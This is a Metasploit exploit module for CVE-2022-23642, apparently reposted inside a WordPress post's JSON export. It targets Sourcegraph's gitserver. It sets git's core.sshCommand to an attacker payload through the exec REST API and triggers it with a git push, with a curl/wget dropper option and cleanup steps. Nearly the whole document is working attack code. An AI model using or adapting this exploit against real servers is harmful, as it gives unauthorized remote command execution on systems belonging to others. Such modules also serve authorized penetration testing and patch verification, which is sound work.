##
\n# This module requires Metasploit: https:\/\/metasploit.com\/download
\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework
\n##<\/p>\n
class MetasploitModule < Msf::Exploit::Remote<\/p>\n
Rank = ExcellentRanking<\/p>\n
prepend Msf::Exploit::Remote::AutoCheck
\ninclude Msf::Exploit::Remote::HttpClient
\ninclude Msf::Exploit::CmdStager<\/p>\n
def initialize(info = {})
\nsuper(
\nupdate_info(
\ninfo,
\n‘Name’ => ‘Sourcegraph gitserver sshCommand RCE’,
\n‘Description’ => %q{
\nA vulnerability exists within Sourcegraph’s gitserver component that allows a remote attacker to execute
\narbitrary OS commands by modifying the core.sshCommand value within the git configuration. This command can
\nthen be triggered on demand by executing a git push operation. The vulnerability was patched by introducing a
\nfeature flag in version 3.37.0. This flag must be enabled for the protections to be in place which filter the
\ncommands that are able to be executed through the git exec REST API.
\n},
\n‘Author’ => [
\n‘Altelus1’, # github PoC
\n‘Spencer McIntyre’ # metasploit module
\n],
\n‘References’ => [
\n[‘CVE’, ‘2022-23642’],
\n[‘URL’, ‘https:\/\/github.com\/sourcegraph\/sourcegraph\/security\/advisories\/GHSA-qcmp-fx72-q8q9’],
\n[‘URL’, ‘https:\/\/github.com\/Altelus1\/CVE-2022-23642’],
\n],
\n‘DisclosureDate’ => ‘2022-02-18’, # Public disclosure
\n‘License’ => MSF_LICENSE,
\n‘Platform’ => [‘unix’, ‘linux’],
\n‘Arch’ => [ARCH_CMD, ARCH_X86, ARCH_X64],
\n‘Targets’ => [
\n[
\n‘Unix Command’,
\n{
\n‘Platform’ => ‘unix’,
\n‘Arch’ => ARCH_CMD,
\n‘Type’ => :unix_memory
\n},
\n],
\n[
\n‘Linux Dropper’,
\n{
\n‘Platform’ => ‘linux’,
\n# when the OS command is executed, it’s executed twice which will cause some of the command stagers to
\n# be corrupt, these two work even for larger payloads because they’re downloaded in a single command
\n‘CmdStagerFlavor’ => %w[curl wget],
\n‘Arch’ => [ARCH_X86, ARCH_X64],
\n‘Type’ => :linux_dropper
\n},
\n]\n],
\n‘DefaultOptions’ => {
\n‘RPORT’ => 3178
\n},
\n‘Notes’ => {
\n‘Stability’ => [CRASH_SAFE],
\n‘Reliability’ => [REPEATABLE_SESSION],
\n‘SideEffects’ => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]\n}
\n)
\n)<\/p>\n
register_options([
\nOptString.new(‘TARGETURI’, [true, ‘Base path’, ‘\/’]),
\nOptString.new(‘EXISTING_REPO’, [false, ‘An existing, cloned repository’])
\n])
\nend<\/p>\n
def check
\nres = send_request_exec(Rex::Text.rand_text_alphanumeric(4..11), [‘config’, ‘–default’, ”, ‘core.sshCommand’])
\nreturn CheckCode::Unknown unless res<\/p>\n
if res.code == 200 && res.body =~ \/^X-Exec-Exit-Status: 0\/
\n# this is the response if the target repo does exist, highly unlikely since it’s randomized
\nreturn CheckCode::Vulnerable(‘Successfully set core.sshCommand.’)
\nelsif res.code == 404 && res.body =~ \/”cloneInProgress”\/
\n# this is the response if the target repo does not exist
\nreturn CheckCode::Vulnerable
\nelsif res.code == 400 && res.body =~ \/^invalid command\/
\n# this is the response when the server is patched, regardless of if there are cloned repos
\nreturn CheckCode::Safe
\nend<\/p>\n
CheckCode::Unknown
\nend<\/p>\n
def exploit
\nif datastore[‘EXISTING_REPO’].blank?
\n@git_repo = send_request_list.sample
\nfail_with(Failure::NotFound, ‘Did not identify any cloned repositories on the remote server.’) unless @git_repo<\/p>\n
print_status(“Using automatically identified repository: #{@git_repo}”)
\nelse
\n@git_repo = datastore[‘EXISTING_REPO’]\nend<\/p>\n
print_status(“Executing #{target.name} target”)<\/p>\n
@git_origin = Rex::Text.rand_text_alphanumeric(4..11)
\ngit_remote = “git@#{Rex::Text.rand_text_alphanumeric(4..11)}:#{Rex::Text.rand_text_alphanumeric(4..11)}.git”
\nvprint_status(“Using #{@git_origin} as a fake git origin”)
\nsend_request_exec(@git_repo, [‘remote’, ‘add’, @git_origin, git_remote])<\/p>\n
case target[‘Type’]\nwhen :unix_memory
\nexecute_command(payload.encoded)
\nwhen :linux_dropper
\nexecute_cmdstager
\nend
\nend<\/p>\n
def cleanup
\nreturn unless @git_repo && @git_origin<\/p>\n
vprint_status(‘Cleaning up the git changes…’)
\n# delete the remote that was created
\nsend_request_exec(@git_repo, [‘remote’, ‘remove’, @git_origin])
\n# unset the core.sshCommand value
\nsend_request_exec(@git_repo, [‘config’, ‘–unset’, ‘core.sshCommand’])
\nensure
\nsuper
\nend<\/p>\n
def send_request_exec(repo, args, timeout = 20)
\nsend_request_cgi({
\n‘uri’ => normalize_uri(target_uri.path, ‘exec’),
\n‘method’ => ‘POST’,
\n‘data’ => {
\n‘Repo’ => repo,
\n‘Args’ => args
\n}.to_json
\n}, timeout)
\nend<\/p>\n
def send_request_list
\nres = send_request_cgi({
\n‘uri’ => normalize_uri(target_uri.path, ‘list’),
\n‘method’ => ‘GET’,
\n‘vars_get’ => { ‘cloned’ => ‘true’ }
\n})
\nfail_with(Failure::Unreachable, ‘No server response.’) unless res
\nfail_with(Failure::UnexpectedReply, ‘The gitserver list API call failed.’) unless res.code == 200 && res.get_json_document.is_a?(Array)<\/p>\n
res.get_json_document
\nend<\/p>\n
def execute_command(cmd, _opts = {})
\nvprint_status(“Executing command: #{cmd}”)
\nres = send_request_exec(@git_repo, [‘config’, ‘core.sshCommand’, cmd])
\nfail_with(Failure::Unreachable, ‘No server response.’) unless res
\nunless res.code == 200 && res.body =~ \/^X-Exec-Exit-Status: 0\/
\nif res.code == 404 && res.get_json_document.is_a?(Hash) && res.get_json_document[‘cloneInProgress’] == false
\nfail_with(Failure::BadConfig, ‘The specified repository has not been cloned.’)
\nend<\/p>\n
fail_with(Failure::UnexpectedReply, ‘The gitserver exec API call failed.’)
\nend<\/p>\n
send_request_exec(@git_repo, [‘push’, @git_origin, ‘master’], 5)
\nend<\/p>\n
end<\/p>\n","protected":false},"excerpt":{"rendered":"
## # This module requires Metasploit: https:\/\/metasploit.com\/download # Current source: https:\/\/github.com\/rapid7\/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super( update_info( info, ‘Name’ => ‘Sourcegraph gitserver sshCommand RCE’, ‘Description’ => %q{ A vulnerability exists within Sourcegraph’s gitserver component that allows a remote attacker to execute …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-27080","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/27080","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=27080"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/27080\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=27080"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=27080"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=27080"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}